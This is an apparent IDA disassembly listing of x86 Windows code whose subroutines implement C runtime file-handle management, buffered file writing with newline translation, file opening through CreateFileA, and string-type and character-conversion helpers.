		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4D9B20
		push	edi
		jnb	short loc_41F145
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4D9A20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41F145
		cmp	dword_43AB74, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41F13B
		sub	eax, 0
		jz	short loc_41F132
		dec	eax
		jz	short loc_41F12D
		dec	eax
		jnz	short loc_41F13B
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F12D:				; CODE XREF: sub_41F0E5+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41F135
; ---------------------------------------------------------------------------


loc_41F132:				; CODE XREF: sub_41F0E5+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41F135:				; CODE XREF: sub_41F0E5+46j
					; sub_41F0E5+4Bj
		call	dword_42302C	; SetStdHandle


loc_41F13B:				; CODE XREF: sub_41F0E5+36j
					; sub_41F0E5+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41F159
; ---------------------------------------------------------------------------


loc_41F145:				; CODE XREF: sub_41F0E5+Cj
					; sub_41F0E5+28j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh


loc_41F159:				; CODE XREF: sub_41F0E5+5Ej
		pop	edi
		pop	esi
		retn
sub_41F0E5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F15C	proc near		; CODE XREF: sub_419DC2+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_4D9B20
		push	edi
		jnb	short loc_41F1BF
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41F1BF
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F1BF
		cmp	dword_43AB74, 1
		jnz	short loc_41F1B5
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41F1AC
		dec	ecx
		jz	short loc_41F1A7
		dec	ecx
		jnz	short loc_41F1B5
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41F1AF
; ---------------------------------------------------------------------------


loc_41F1A7:				; CODE XREF: sub_41F15C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41F1AF
; ---------------------------------------------------------------------------


loc_41F1AC:				; CODE XREF: sub_41F15C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41F1AF:				; CODE XREF: sub_41F15C+49j
					; sub_41F15C+4Ej
		call	dword_42302C	; SetStdHandle


loc_41F1B5:				; CODE XREF: sub_41F15C+38j
					; sub_41F15C+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41F1D3
; ---------------------------------------------------------------------------


loc_41F1BF:				; CODE XREF: sub_41F15C+Cj
					; sub_41F15C+2Aj ...
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh


loc_41F1D3:				; CODE XREF: sub_41F15C+61j
		pop	edi
		pop	esi
		retn
sub_41F15C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F1D6	proc near		; CODE XREF: sub_419DC2+32p
					; sub_419DC2+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4D9B20
		jnb	short loc_41F1FE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4D9A20[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41F1FE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41F1FE:				; CODE XREF: sub_41F1D6+Aj
					; sub_41F1D6+23j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41F1D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F213	proc near		; CODE XREF: sub_419EA0+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4D9B20
		jnb	short loc_41F25C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_4D9A20[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41F25C
		push	eax
		call	sub_41F1D6
		pop	ecx
		push	eax
		call	dword_423028	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41F251
		call	dword_42308C	; RtlGetLastWin32Error
		jmp	short loc_41F253
; ---------------------------------------------------------------------------


loc_41F251:				; CODE XREF: sub_41F213+34j
		xor	eax, eax


loc_41F253:				; CODE XREF: sub_41F213+3Cj
		test	eax, eax
		jz	short locret_41F269
		mov	dword_4D86D4, eax


loc_41F25C:				; CODE XREF: sub_41F213+Aj
					; sub_41F213+22j
		mov	dword_4D86D0, 9
		or	eax, 0FFFFFFFFh

locret_41F269:				; CODE XREF: sub_41F213+42j
		retn
sub_41F213	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F26A	proc near		; CODE XREF: sub_419EDB+2Cp
					; sub_41B06F+95p ...

var_414		= byte ptr -414h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	ecx, [ebp+arg_0]
		push	ebx
		cmp	ecx, dword_4D9B20
		push	esi
		push	edi
		jnb	loc_41F3FE
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4D9A20h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		mov	al, [eax+esi+4]
		test	al, 1
		jz	loc_41F3FE
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_8], edi
		mov	[ebp+var_10], edi
		jnz	short loc_41F2BB


loc_41F2B4:				; CODE XREF: sub_41F26A+177j
		xor	eax, eax
		jmp	loc_41F412
; ---------------------------------------------------------------------------


loc_41F2BB:				; CODE XREF: sub_41F26A+48j
		test	al, 20h
		jz	short loc_41F2CB
		push	2
		push	edi
		push	ecx
		call	sub_41E1E3
		add	esp, 0Ch


loc_41F2CB:				; CODE XREF: sub_41F26A+53j
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41F39A
		mov	eax, [ebp+arg_4]
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], edi
		jbe	loc_41F3D2


loc_41F2EB:				; CODE XREF: sub_41F26A+F5j
		lea	eax, [ebp+var_414]


loc_41F2F1:				; CODE XREF: sub_41F26A+B9j
		mov	ecx, [ebp+var_4]
		sub	ecx, [ebp+arg_4]
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41F325
		mov	ecx, [ebp+var_4]
		inc	[ebp+var_4]
		mov	cl, [ecx]
		cmp	cl, 0Ah
		jnz	short loc_41F310
		inc	[ebp+var_10]
		mov	byte ptr [eax],	0Dh
		inc	eax


loc_41F310:				; CODE XREF: sub_41F26A+9Dj
		mov	[eax], cl
		inc	eax
		mov	ecx, eax
		lea	edx, [ebp+var_414]
		sub	ecx, edx
		cmp	ecx, 400h
		jl	short loc_41F2F1


loc_41F325:				; CODE XREF: sub_41F26A+90j
		mov	edi, eax
		lea	eax, [ebp+var_414]
		sub	edi, eax
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		lea	eax, [ebp+var_414]
		push	edi
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_41F38F
		mov	eax, [ebp+var_C]
		add	[ebp+var_8], eax
		cmp	eax, edi
		jl	short loc_41F361
		mov	eax, [ebp+var_4]
		sub	eax, [ebp+arg_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_41F2EB


loc_41F361:				; CODE XREF: sub_41F26A+EAj
					; sub_41F26A+12Ej
		xor	edi, edi


loc_41F363:				; CODE XREF: sub_41F26A+150j
					; sub_41F26A+15Bj
		mov	eax, [ebp+var_8]
		cmp	eax, edi
		jnz	loc_41F3F9
		cmp	[ebp+arg_0], edi
		jz	short loc_41F3D2
		push	5
		pop	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_41F3C7
		mov	dword_4D86D0, 9
		mov	dword_4D86D4, eax
		jmp	loc_41F40F
; ---------------------------------------------------------------------------


loc_41F38F:				; CODE XREF: sub_41F26A+E0j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41F361
; ---------------------------------------------------------------------------


loc_41F39A:				; CODE XREF: sub_41F26A+69j
		lea	ecx, [ebp+var_C]
		push	edi
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	dword_4230E0	; WriteFile
		test	eax, eax
		jz	short loc_41F3BC
		mov	eax, [ebp+var_C]
		mov	[ebp+arg_0], edi
		mov	[ebp+var_8], eax
		jmp	short loc_41F363
; ---------------------------------------------------------------------------


loc_41F3BC:				; CODE XREF: sub_41F26A+145j
		call	dword_42308C	; RtlGetLastWin32Error
		mov	[ebp+arg_0], eax
		jmp	short loc_41F363
; ---------------------------------------------------------------------------


loc_41F3C7:				; CODE XREF: sub_41F26A+10Fj
		push	[ebp+arg_0]
		call	sub_41BEC4
		pop	ecx
		jmp	short loc_41F40F
; ---------------------------------------------------------------------------


loc_41F3D2:				; CODE XREF: sub_41F26A+7Bj
					; sub_41F26A+107j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41F3E7
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jz	loc_41F2B4


loc_41F3E7:				; CODE XREF: sub_41F26A+16Fj
		mov	dword_4D86D0, 1Ch
		mov	dword_4D86D4, edi
		jmp	short loc_41F40F
; ---------------------------------------------------------------------------


loc_41F3F9:				; CODE XREF: sub_41F26A+FEj
		sub	eax, [ebp+var_10]
		jmp	short loc_41F412
; ---------------------------------------------------------------------------


loc_41F3FE:				; CODE XREF: sub_41F26A+15j
					; sub_41F26A+37j
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 9


loc_41F40F:				; CODE XREF: sub_41F26A+120j
					; sub_41F26A+166j ...
		or	eax, 0FFFFFFFFh


loc_41F412:				; CODE XREF: sub_41F26A+4Cj
					; sub_41F26A+192j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F26A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F417	proc near		; DATA XREF: .nsp0:00425028o
		mov	eax, dword_4D9A00
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41F42B
		mov	eax, 200h
		jmp	short loc_41F431
; ---------------------------------------------------------------------------


loc_41F42B:				; CODE XREF: sub_41F417+Bj
		cmp	eax, esi
		jge	short loc_41F436
		mov	eax, esi


loc_41F431:				; CODE XREF: sub_41F417+12j
		mov	dword_4D9A00, eax


loc_41F436:				; CODE XREF: sub_41F417+16j
		push	4
		push	eax
		call	sub_4208E1
		pop	ecx
		mov	dword_4D89E0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F46A
		push	4
		push	esi
		mov	dword_4D9A00, esi
		call	sub_4208E1
		pop	ecx
		mov	dword_4D89E0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41F46A
		push	1Ah
		call	sub_419D79
		pop	ecx


loc_41F46A:				; CODE XREF: sub_41F417+30j
					; sub_41F417+49j
		xor	ecx, ecx
		mov	eax, offset off_43B278


loc_41F471:				; CODE XREF: sub_41F417+6Ej
		mov	edx, dword_4D89E0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43B4F8
		jl	short loc_41F471
		xor	edx, edx
		mov	ecx, offset dword_43B288


loc_41F48E:				; CODE XREF: sub_41F417+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4D9A20[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F4AB
		test	eax, eax
		jnz	short loc_41F4AE


loc_41F4AB:				; CODE XREF: sub_41F417+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41F4AE:				; CODE XREF: sub_41F417+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43B2E8
		jl	short loc_41F48E
		pop	esi
		retn
sub_41F417	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4BC	proc near		; DATA XREF: .nsp0:00425038o

; FUNCTION CHUNK AT 0042095E SIZE 00000058 BYTES

		call	sub_419F37
		cmp	byte_4D8710, 0
		jz	short locret_41F4CF
		jmp	loc_42095E
; ---------------------------------------------------------------------------

locret_41F4CF:				; CODE XREF: sub_41F4BC+Cj
		retn
sub_41F4BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F4D0	proc near		; CODE XREF: sub_41AB28+32p
					; sub_41B06F+6Cp ...

arg_0		= dword	ptr  4

		inc	dword_4D88B4
		push	1000h
		call	sub_417A2B
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41F4F9
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41F50A
; ---------------------------------------------------------------------------


loc_41F4F9:				; CODE XREF: sub_41F4D0+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41F50A:				; CODE XREF: sub_41F4D0+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F4D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F514	proc near		; CODE XREF: sub_41AE12+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41F53A
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41F545
; ---------------------------------------------------------------------------


loc_41F53A:				; CODE XREF: sub_41F514+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41F545:				; CODE XREF: sub_41F514+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41F55F
		test	ch, 40h
		jnz	short loc_41F55B
		cmp	dword_4D89C0, eax
		jz	short loc_41F55F


loc_41F55B:				; CODE XREF: sub_41F514+3Dj
		or	[ebp+var_1], 80h


loc_41F55F:				; CODE XREF: sub_41F514+38j
					; sub_41F514+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41F597
		dec	eax
		jz	short loc_41F58E
		dec	eax
		jz	short loc_41F585


loc_41F570:				; CODE XREF: sub_41F514+9Fj
					; sub_41F514+E8j ...
		mov	dword_4D86D0, 16h
		mov	dword_4D86D4, ebx
		jmp	loc_41F7AA
; ---------------------------------------------------------------------------


loc_41F585:				; CODE XREF: sub_41F514+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41F59E
; ---------------------------------------------------------------------------


loc_41F58E:				; CODE XREF: sub_41F514+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41F59E
; ---------------------------------------------------------------------------


loc_41F597:				; CODE XREF: sub_41F514+54j
		mov	[ebp+var_C], 80000000h


loc_41F59E:				; CODE XREF: sub_41F514+78j
					; sub_41F514+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41F5CC
		cmp	eax, 20h
		jz	short loc_41F5C3
		cmp	eax, 30h
		jz	short loc_41F5BA
		cmp	eax, 40h
		jnz	short loc_41F570
		mov	[ebp+var_10], esi
		jmp	short loc_41F5CF
; ---------------------------------------------------------------------------


loc_41F5BA:				; CODE XREF: sub_41F514+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41F5CF
; ---------------------------------------------------------------------------


loc_41F5C3:				; CODE XREF: sub_41F514+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41F5CF
; ---------------------------------------------------------------------------


loc_41F5CC:				; CODE XREF: sub_41F514+90j
		mov	[ebp+var_10], ebx


loc_41F5CF:				; CODE XREF: sub_41F514+A4j
					; sub_41F514+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41F619
		jz	short loc_41F614
		cmp	ecx, ebx
		jz	short loc_41F614
		cmp	ecx, edi
		jz	short loc_41F60B
		cmp	ecx, 200h
		jz	short loc_41F632
		cmp	ecx, 300h
		jnz	loc_41F570
		mov	[ebp+var_8], 2
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F60B:				; CODE XREF: sub_41F514+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F614:				; CODE XREF: sub_41F514+D0j
					; sub_41F514+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F619:				; CODE XREF: sub_41F514+CEj
		cmp	ecx, 500h
		jz	short loc_41F63B
		cmp	ecx, 600h
		jz	short loc_41F632
		cmp	ecx, edx
		jz	short loc_41F63B
		jmp	loc_41F570
; ---------------------------------------------------------------------------


loc_41F632:				; CODE XREF: sub_41F514+E0j
					; sub_41F514+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41F642
; ---------------------------------------------------------------------------


loc_41F63B:				; CODE XREF: sub_41F514+10Bj
					; sub_41F514+117j
		mov	[ebp+var_8], 1


loc_41F642:				; CODE XREF: sub_41F514+F5j
					; sub_41F514+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41F661
		mov	ecx, dword_4D86D8
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41F661
		push	1
		pop	esi


loc_41F661:				; CODE XREF: sub_41F514+138j
					; sub_41F514+148j
		test	al, 40h
		jz	short loc_41F66F
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41F66F:				; CODE XREF: sub_41F514+14Fj
		test	ah, 10h
		jz	short loc_41F676
		or	esi, edi


loc_41F676:				; CODE XREF: sub_41F514+15Ej
		test	al, 20h
		jz	short loc_41F682
		or	esi, 8000000h
		jmp	short loc_41F68C
; ---------------------------------------------------------------------------


loc_41F682:				; CODE XREF: sub_41F514+164j
		test	al, 10h
		jz	short loc_41F68C
		or	esi, 10000000h


loc_41F68C:				; CODE XREF: sub_41F514+16Cj
					; sub_41F514+170j
		call	sub_41F050
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41F6AD
		and	dword_4D86D4, 0
		mov	dword_4D86D0, 18h
		jmp	short loc_41F6EB
; ---------------------------------------------------------------------------


loc_41F6AD:				; CODE XREF: sub_41F514+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	dword_4230EC	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41F6DE
		push	esi
		call	dword_423030	; GetFileType
		test	eax, eax
		jnz	short loc_41F6F2
		push	esi
		call	dword_423068	; CloseHandle


loc_41F6DE:				; CODE XREF: sub_41F514+1B6j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		call	sub_41BEC4
		pop	ecx


loc_41F6EB:				; CODE XREF: sub_41F514+197j
		mov	eax, edi
		jmp	loc_41F7C8
; ---------------------------------------------------------------------------


loc_41F6F2:				; CODE XREF: sub_41F514+1C1j
		cmp	eax, 2
		jnz	short loc_41F6FD
		or	[ebp+var_1], 40h
		jmp	short loc_41F706
; ---------------------------------------------------------------------------


loc_41F6FD:				; CODE XREF: sub_41F514+1E1j
		cmp	eax, 3
		jnz	short loc_41F706
		or	[ebp+var_1], 8


loc_41F706:				; CODE XREF: sub_41F514+1E7j
					; sub_41F514+1ECj
		push	esi
		push	ebx
		call	sub_41F0E5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4D9A20h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41F7AF
		test	al, 80h
		jz	short loc_41F7AF
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41F7AF
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41F764
		cmp	dword_4D86D4, 83h
		jz	short loc_41F7AF
		jmp	short loc_41F7A3
; ---------------------------------------------------------------------------


loc_41F764:				; CODE XREF: sub_41F514+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41AC01
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41F791
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41F791
		push	[ebp+var_10]
		push	ebx
		call	sub_4209B6
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41F7A3


loc_41F791:				; CODE XREF: sub_41F514+265j
					; sub_41F514+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41E1E3
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F7AF


loc_41F7A3:				; CODE XREF: sub_41F514+24Ej
					; sub_41F514+27Bj
		push	ebx
		call	sub_419DC2
		pop	ecx


loc_41F7AA:				; CODE XREF: sub_41F514+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41F7C8
; ---------------------------------------------------------------------------


loc_41F7AF:				; CODE XREF: sub_41F514+221j
					; sub_41F514+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41F7C6
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41F7C6
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41F7C6:				; CODE XREF: sub_41F514+29Fj
					; sub_41F514+2A5j
		mov	eax, ebx


loc_41F7C8:				; CODE XREF: sub_41F514+1D9j
					; sub_41F514+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F514	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F7CD	proc near		; CODE XREF: sub_41AFFA+5Ep
					; sub_41BBCD+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_423C10
		push	offset sub_41EDEC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4D88BC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41F83C
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_423900
		push	esi
		call	dword_423020	; GetStringTypeW
		test	eax, eax
		jz	short loc_41F81A
		mov	eax, esi
		jmp	short loc_41F837
; ---------------------------------------------------------------------------


loc_41F81A:				; CODE XREF: sub_41F7CD+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4C96CC
		push	esi
		push	ebx
		call	dword_423024	; GetStringTypeA
		test	eax, eax
		jz	loc_41F902
		push	2
		pop	eax


loc_41F837:				; CODE XREF: sub_41F7CD+4Bj
		mov	dword_4D88BC, eax


loc_41F83C:				; CODE XREF: sub_41F7CD+2Fj
		cmp	eax, 2
		jnz	short loc_41F865
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41F84D
		mov	eax, dword_4D8788


loc_41F84D:				; CODE XREF: sub_41F7CD+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword_423024	; GetStringTypeA
		jmp	loc_41F904
; ---------------------------------------------------------------------------


loc_41F865:				; CODE XREF: sub_41F7CD+72j
		cmp	eax, 1
		jnz	loc_41F902
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41F87B
		mov	eax, dword_4D8798
		mov	[ebp+arg_10], eax


loc_41F87B:				; CODE XREF: sub_41F7CD+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	dword_423164	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41F902
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_418030
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417AA0
		add	esp, 0Ch
		jmp	short loc_41F8D1
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41F8D1:				; CODE XREF: sub_41F7CD+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41F902
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	dword_423164	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41F902
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	dword_423020	; GetStringTypeW
		jmp	short loc_41F904
; ---------------------------------------------------------------------------


loc_41F902:				; CODE XREF: sub_41F7CD+61j
					; sub_41F7CD+9Bj ...
		xor	eax, eax


loc_41F904:				; CODE XREF: sub_41F7CD+93j
					; sub_41F7CD+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F7CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F916	proc near		; CODE XREF: sub_41B06F+61p
					; sub_41BF2B+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4D9B20
		jb	short loc_41F925
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41F925:				; CODE XREF: sub_41F916+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4D9A20[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41F916	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F93C	proc near		; CODE XREF: sub_41B184+2D4p
					; sub_41B184+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41F948
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F948:				; CODE XREF: sub_41F93C+8j
		cmp	dword_4D8788, 0
		jnz	short loc_41F963
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41F995
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41F963:				; CODE XREF: sub_41F93C+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_43AD8C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4D8798
		call	dword_423160	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41F995
		cmp	[ebp+arg_0], 0
		jz	short loc_41F9A2


loc_41F995:				; CODE XREF: sub_41F93C+1Ej
					; sub_41F93C+51j
		mov	dword_4D86D0, 2Ah
		or	eax, 0FFFFFFFFh


loc_41F9A2:				; CODE XREF: sub_41F93C+57j
		pop	ebp
		retn
sub_41F93C	endp


